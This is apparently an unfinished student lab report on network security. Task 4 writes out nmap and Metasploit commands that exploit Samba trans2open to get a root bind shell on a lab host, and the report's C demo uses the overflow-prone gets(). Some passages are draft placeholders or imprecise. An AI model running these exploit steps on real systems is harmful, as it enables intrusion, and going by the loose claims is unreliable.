Secure Computer Systems I: Lab 2

Ren Li Tianyao Ma Samuel Pettersson

February 18, 2014

Task 1: Networking

(a) The fundamental security properties that IPsec offers are integrity and confidentiality.

Intergrity guarantees that data will not be changed during transmission, which means that the receiver will receive exactly the same thing sent from sender. Authentication Headers (AH) and Encapsulating Security Payloads (ESP) are two protocols that provide integrity.[**?**]

Confidentiality guarantees that only the receiver himself has the ability to disclose the data. To do this, data has to be encrypted before transmission, which can be done by using ESP. To decrypt, the receiver should have a shared key with the sender.

(b) [**higher grades only**]

(c) I. BHash, compared with Basic HTTP authentication, gains more security in that Basic HTTP authentication, username and password are encoded with base-64[**?**], which can be decoded by certain algorithm. Thus, it's not safe when attacker get the message. BHash, on the other hand, improve its security by hashing the username and password before base-64 encoding. Even the attacker get the message and decode it, he can't find any useful information.

II. As for BHash, it is vulnerable to replay attacks. As the attack hold the message, he can send it and pretend that he is the original sender. The receiver will trust the attacker because there is nothing else that can be done to check whether the message is sent from authentic sender. Also, BHash is vulnerable to dictionary attacks or attacks with lookup tables for reversing the hash which means that there is possibility for the attacker to acquire the username and password.

Digest HTTP authentication, on the contrary, gains security in a more sophisticated and security way. Username, password and realm (a description of the computer or system being accessed) will firstly be hashed. The hashed data will then be hashed together with nouce and cnonce. Nonce is a single-use value every session with a timestamp to prevent replay attacks and chosen-plaintext attack.[**?**] Thus, it's almost impossible for attacker to forge the message or decode it.

Task 2: Malware

(a) • A backdoor is a mechanism that allows a user to circumvent the authentication process of a system, a typical example of which is the presence of a predefined username that requires no password during authentication. While backdoors could be handy for legitimate administrative purposes, it should be clear that they are devastating in the hands of an attacker. It should be noted that backdoors need not be code snippets planted in an authentication process but rather could be standalone programs. Such a program, commonly referred to as a RAT (Remote Access Trojan) when used malevolently, could be installed by malware without the user's consent and give an attacker access to the system.[**?**]

- A bot is an application that allows for the automation of tasks usually carried out by humans. Legitimate examples of bots are web crawlers that collect information about the web and IRC (Internet Relay Chat) bots that manage chat servers[**?**]. More iniquitous bots, falling into the category of malware, may be designed to infect other hosts and report back to a command and control server. Through this server, a botmaster may instruct the network of infected hosts—the *botnet*—to carry out horrendous deeds such as (distributed) denial of service attacks and sending spam[**?**].
- A keylogger is used for logging the keystrokes on a keyboard. They can be implemented in either software or hardware.

  Keyloggers implemented in software may be designed to operate in the kernel, through which all the keystrokes are passed, and silently log the keystrokes to a local file. The file may then periodically be sent by e-mail for analysis by the attacker[**?**]. It should be noted that software keyloggers often record more than just keystrokes. Mouse actions, clipboard operations, the title of the focused window, and screenshots are just some examples of information that is particularly valuable whencombined with keystroke data[**?**].

  A common type of hardware keyloggers is an adapter-like device placed between the I/O port on the computer and the keyboard cable, which simply forwards the keystrokes to the computer while at the same time logging them to its internal memory.

  The information gathered by the keyloggers can be used for in several ways of varying legitimacy: gathering secret information like passwords, identity theft, intrusion detection, and parental monitoring[**?**].

  Capturing electromagnetic emissions of a wired keyboard is a type of keylogging that is too interesting not to mention. Keylogging of that type has been shown to be possible to be carried out successfully on unmodified keyboards of various models at a distance of 20 meters[**?**].
- Spyware is malware that surreptitiously collects information about a user and his or her system. The information gathered may include but is not limited to usernames and passwords (either found stored on the computer or using keyloggers as mentioned earlier), e-mail addresses for spamming purposes, and bank account and credit card numbers.[**?**]
- A rootkit is a collection of tools that hides its presence or the presence of other software, typically malware, from detection. This is done by modifying system software that would otherwise be able to detect that which is being hidden. It should be noted that enabling administrator access for an attacker was originally a defining characteristic of a rootkit (hence the name *root*kit) but that the importance of that characteristic has diminished.[**?**]

A rootkit combined with mostly anything makes for a piece of malware that is difficult not only to detect but also to remove once detected. One could imagine that a rootkit combined with a software keylogger that only occasionally sends the logged keys from the infected system would be nigh impossible to detect and could end up running uninterrupted for the lifetime of that system.

(b) If the rootkit hides the keylogger properly, there is little a system administrator can do to even detect the malware from the infected system. By running an intrusion detection system (IDS) on another machine, it might be possible to detect the occasional e-mail sent by the keylogger (assuming that that is how the keylogger transfers the recorded data) and identify it as caused by a keylogger. Removing the malware could still prove difficult or even practically impossible if the rootkit has infected the kernel. The simplest solution might be to reinstall the operating system.[**?**]

Task 3: Intrusion detection

In the third task we were required to run Snort as an intrusion detection system (IDS)[**?**] in BackBox to read the Snort rules and corresponding alerts.

(a) According to the instructions in our document, we ran Snort on a file with previously logged packets: *dump.cap*. Then we input a command in the terminal window to open another file. The command is as follows:

gedit /var/log/snort/alert

In this file, we could see a list of alerts triggered by corresponding rules. We chose three alerts with different classifications to discuss in detail.

- The first is an alert classified as "*Attempted Denial of Service*":
  [**] [1:100000160:2] COMMUNITY SIP TCP/IP message flooding directed to SIP proxy [**]
  [Classification : Attempted Denial of Service] [Priority: 2]
  02/14-11:35:16.535556 192.168.1.1:1900 -> 192.168.1.101:62260
  UDP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:288 DF
  Len: 260

  The first line illustrates information about the Snort rule which caused this alert. The numbers *1::100000160:2* stand for *gid:sid:rev* where:

  gid(generator ID)−indicates what part of Snort generates the event
  sid(signature ID)−identifies Snort rules uniquely
  rev(revision)−the version number of this rule

  Now we can smoothly find the corresponding rule by grepping for the sid number in the directory where Snort rules are stored:

  *grep -r sid:100000160 /etc/snort/rules/**

  The particular rule is shown below:

  /etc/snort/rules/community-sip.rules:alert ip any any -> any 5060
  (msg:"COMMUNITY SIP TCP/IP message flooding directed to SIP proxy";
  threshold: type both, track by_ src, count 300, seconds 60; classtype:attempted-dos;
  sid:100000160; rev:2;)

  The Snort rule consists of several fields, the rule action, the protocol(TCP, UDP, ICMP, IP), the IP address, the port information and the direction operator. The rule action tells Snort what to do when it finds a packet that matches the rule criteria. The direction operator indicates the orientation, or direction, of the traffic that the rule applies to.

  In this case, the action is *alert*. It can generate an alert using the selected alert method and then log the packet. The protocol is *ip*. The direction operator is ->, which means the IP address and port numbers on the left side of the direction operator is considered to be the traffic coming from the source host and the address and port information on the right side of the operator is the destination host. In addition, the IP address and port numbers from the source host is *any any* and the IP address and port numbers to the destination host is *any 5060*. Here, the keyword *any* is used to define any address.

  The problem of this rule lies in that it should not use ip for the protocol because SIP runs over TCP or UDP.

- The second is an alert classified as "*Potentially Bad Traffic*":
  [**] [1:527:8] BAD-TRAFFIC same SRC/DST [**]
  [Classification : Potentially Bad Traffic] [Priority: 2]
  02/14-12:01:28.808604 :: -> ff02::16
  IPV6-ICMP TTL:1 TOS:0x0 ID:256 IpLen:40 DgmLen:76

  Now we can smoothly find the corresponding rule by grepping for the sid number:

  *grep -r sid:527 /etc/snort/rules/**

  The particular rule is shown below:

/etc/snort/rules/bad-traffic.rules:alert ip any any -> any any (msg:"BAD-TRAFFIC same SRC/DST"; sameip; reference:bugtraq,2666; reference:cve,1999-0016; reference:url,www.cert.org/advisories/CA-1997-28.html; classtype:bad-unknown; sid:527; rev:8;)

In this case, the action is *alert*. The protocol is *ip*. The direction operator is ->. In addition, the IP address and port numbers from the source host is *any any* and the IP address and port numbers to the destination host is *any any*. Here, the keyword *any* is used to define any address.

This rule is intended to detect a Land attack by matching those packets that have the same source and destination IP address. A Land attack is a type of Denial of Service attack that exploits a vulnerability in the logic of the TCP/IP stack of some operating systems that cannot handle packets with the same port and IP address for both source and destination.

- The third is an alert classified as "*Misc activity*":

[**] [1:402:7] ICMP Destination Unreachable Port Unreachable [**]
[Classification : Misc activity] [Priority : 3]
02/14-15:30:49.814222 58.213.161.215 -> 192.168.1.101
ICMP TTL:44 TOS:0x0 ID:1350 IpLen:20 DgmLen:145
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE

Now we can smoothly find the corresponding rule by grepping for the sid number:

*grep -r sid:402 /etc/snort/rules/**

The particular rule is shown below:

/etc/snort/rules/icmp-info.rules:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Destination Unreachable Port Unreachable"; icode:3; itype:3; classtype:misc-activity; sid:402; rev:7;)

In this case, the action is *alert*. The protocol is *icmp*. The direction operator is ->. In addition, the IP address and port numbers from the source host is *$EXTERNAL_NET any* and the IP address and port numbers to the destination host is *$HOME_NET any*. Here, the keyword *any* is used to define any address.

This event will happen when an ICMP Port Unreachable message was detected. An ICMP Port Unreachable is not an attack, but can indicate that the source of the packet was the target of a scan or other malicious activity.

(b) [**higher grades only**]

Task 4: Buffer overflows

In the fourth task we were required to carry out an attack against another machine in the pen test lab using Metasploit.

(a) There are three interfaces to the Metasploit Framework: a CLI, a GUI, and a console interface[**?**]. We used the console interface, which is started by issuing the command msfconsole in a terminal window.

- The first step in developing the attack on the specific host was to scan its ports for services running. This was done using the program nmap as follows:

nmap -sS -v -A -p1-1024 192.168.2.133

The most important part of the output is shown below.

139/tcp open netbios-ssn Samba smbd

The output shows that the target machine is running (among other things) a service called Samba on port 139.

In order to find a suitable vulnerability in the service, the version of Samba had to be determined. This was done by using a Samba version scanner included in the Metasploit Framework library, following the example on the website[**?**]. Specifically, the following three lines were entered in the console:

1. use auxiliary/scanner/smb/smb_version
2. set RHOSTS 192.168.2.133
3. run

The first line selects the scanner module, the second line sets the target to be scanned to the machine that we are intending to attack, and the third line runs the scanner. The output is shown below.

[*] 192.168.2.133:139 is running Unix Samba 2.2.1a

The output shows that the version of the Samba service running is 2.2.1a.

- The next step is to search for a vulnerability and an exploit for that version of Samba. We made use of The Exploit Database (see `http://www.exploit-db.com`) for this. Specifically, a free-text search of "samba 2.2.1a" gave one hit, namely, *Samba trans2open Overflow (Linux x86)*. Searching for trans2open in the Metasploit console then revealed the name of an exploit module for that very exploit: exploit/linux/samba/trans2open.

  The following step was to carry out the attack using the exploit in Metasploit. It was done by issuing the following commands:

  1. use exploit/linux/samba/trans2open
  2. show options
  3. set RHOST 192.168.2.133
  4. show payloads
  5. set payload linux/x86/shell_bind_tcp
  6. exploit

  The first line selects the exploit module for the *trans2open* exploit, the second shows the options for the module. The only required option for the exploit that was empty was RHOST, which specifies the target address. The third line sets said option to 192.168.2.133—the address of the target machine. The fourth line then shows the payloads available for the exploit, and the fifth line selects a payload called Bind TCP Inline [explain what the payload does]. Finally, the last line executes the attack.

  Upon execution, the following is printed in the console.

  [*] Trying return address 0xbffffdfc ...
  Started bind handler
  [*] Trying return address 0xbffffcfc ...
  [*] Trying return address 0xbffffbfc ...
  [*] Trying return address 0xbffffafc ...
  Sending stage (36 bytes) to 192.168.2.133
  Command shell session 1 opened(10.11.12.22:38569->192.168.2.133:4444)

  The payload and the output will be explained in higher grade part.

  Having achieved root access to the system, we found a text file called secret.txt in the home folder of the root user. Its content was a marvelous piece of ASCII art with text instructing us to include the following code in the report: **C14Hzd1hkNQ2w**.

(b) [**higher grades only**]

Task 5: Access control

(a) Capabilities are one way of representing an access control matrix, which describes the protection state of a system. Each subject (user) of the system maintains a list of access rights to the objects (resources) of the system. Such a list is referred to as a capability. The concept of capabilities can be contrasted with that of access control lists, where a list of access rights for the subjects are maintained for each object. An important difference between capabilities and access control lists is that the user typically maintains his or her capability and presents it to the system during access control, whereas access control lists are handled entirely by the system. Capabilities must therefore be protected against forgery. One way of implementing such protection is through the use of cryptography.[?]

Implementing capabilities using web cookies and SSH keys can be done as follows. The server can encrypt the capability of a user with its private key and then send it to the user as a cookie. When the user makes a request, the cookie is sent to the server (that is, the capability is presented to the server), decrypted with the server's public key, and checked to make sure that the user is authorized to make the request. Because the private SSH key used to create the capabilities is known only to the server and it is computationally intractable for the user to determine the key, only the server can create these encrypted capabilities; malevolent users cannot forge a capability with specific rights.

Another, more scalable way of implementing the capabilities would be to have the cookies represent messages digitally signed by the server. That is, the cookies would be of the form $c + sig\big(h(c)\big)$, where c is the capability of the user, *sig* is the signature algorithm used by the server with its private key, and h is a cryptographic hash function. When the server receives a request with a corresponding cookie, the signature is verified with the public key of the server by comparing it with the hash of the message. If the signature is genuine, the capability is accepted and examined. If the capability specifies the right to access the requested object, access is finally granted.

(b) The program is shown below:

```
1  //
2  // main.c
3  // TOCTTOU
4  //
5  // Created by lazy on 2/16/14.
6  // Copyright (c) 2014 lazy. All rights reserved.
7  //
8
9  #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <errno.h>
13
14 int main()
15 {
16     char *inputMessage = (char *)malloc(sizeof(char) * 100); //init and allocate memory for user input
17     int err = 0;
18     FILE *fl = fopen("test.txt", "w"); //open the file
19     if (fl == NULL) {
20         printf("File␣can't␣be␣opened:␣%s\n", strerror(errno)); //if file is not opened
21         return -1;
22     }
23     gets(inputMessage); //waiting for input
24     err = fprintf(fl, "%s\n",inputMessage); //write input to file
25     if (err < 0) {
26         printf("%s\n",strerror(err)); //if error is returned in writing
27     }
28     err = fclose(fl); //close the file
29     if (err == 0) {
30         printf("File␣closed!\n"); //if the file is closed successfully
31     } else {
32         printf("%s\n",strerror(err)); //if the file is closed with error
```

```
33      }
34      return 0;
35  }
```

The test results are shown below:

```
1   lazy:Debug lazy$ ls -l test.txt
2   -rwxrwxrwx 1 lazy staff 0 Feb 17 01:02 test.txt
3   lazy:Debug lazy$ ./TOCTTOU
4   Now please input:
5   Here is my input!
6   File closed!
7   lazy:Debug lazy$ cat test.txt
8   Here is my input!
9   lazy:Debug lazy$ ls -l test.txt
10  -rwxrwxrwx 1 lazy staff 18 Feb 17 01:03 test.txt
```

At the very beginning of the test, it can be seen that the mode of the file is 777 which means that the file owner, the file owner's group and other users have rights to read, write, and execute. Then we run our program and input some information. The program exit normally and the information is successfully written to the file, which can be checked by using *cat* command. At this time, the mode of the file is still 777.

```
1   lazy:Debug lazy$ ls -l test.txt
2   -rwxrwxrwx 1 lazy staff 18 Feb 17 01:03 test.txt
3   lazy:Debug lazy$ ./TOCTTOU
4   Now please input:
5   Here is my second input!
6   File closed!
7   lazy:Debug lazy$ cat test.txt
8   Here is my second input!
9   lazy:Debug lazy$ ls -l test.txt
10  -r--r--r-- 1 lazy staff 25 Feb 17 01:08 test.txt
```

We run our program again. When it is waiting for user's input, we open another terminal and change the file's mode to 444, which means that all user can only read the file now. Then we input some information in the program and it exits normally. We type the *cat* command and find that the content of the file has changed. It can also be seen that the mode of the file is changed. This is because after we open the file using "w", we have access to write on the file, and this will not be changed until the program ends. Thus, when we write the content to the file, we still have the access.

```
1   lazy:Debug lazy$ ls -l test.txt
2   -r--r--r-- 1 lazy staff 25 Feb 17 01:08 test.txt
3   lazy:Debug lazy$ ./TOCTTOU
4   File can't be opened: Permission denied
5   lazy:Debug lazy$ sudo chmod 777 test.txt
6   lazy:Debug lazy$ ls -l test.txt
7   -rwxrwxrwx 1 lazy staff 25 Feb 17 01:08 test.txt
8   lazy:Debug lazy$ ./TOCTTOU
9   Now please input:
10  Here is my third input!
11  File closed!
12  lazy:Debug lazy$ ls -l test.txt
13  ls: test.txt: No such file or directory
```

Currently, the mode of the file is still 444, which means that we can't open it for writing. When we run the program, it says "File can't be opened: Permission denied". Then we change the mode back to 777, and restart the program. When it is waiting for input, we open another terminal and remove the file. Then we input some information in the program and it still ends with no exception. This is mainly because in Unix, a file will only be deleted when it's not in use, or rather, no program has opened it. As we've already opened it, it will not be truly deleted unless the program ends.

(c) [**higher grades only**]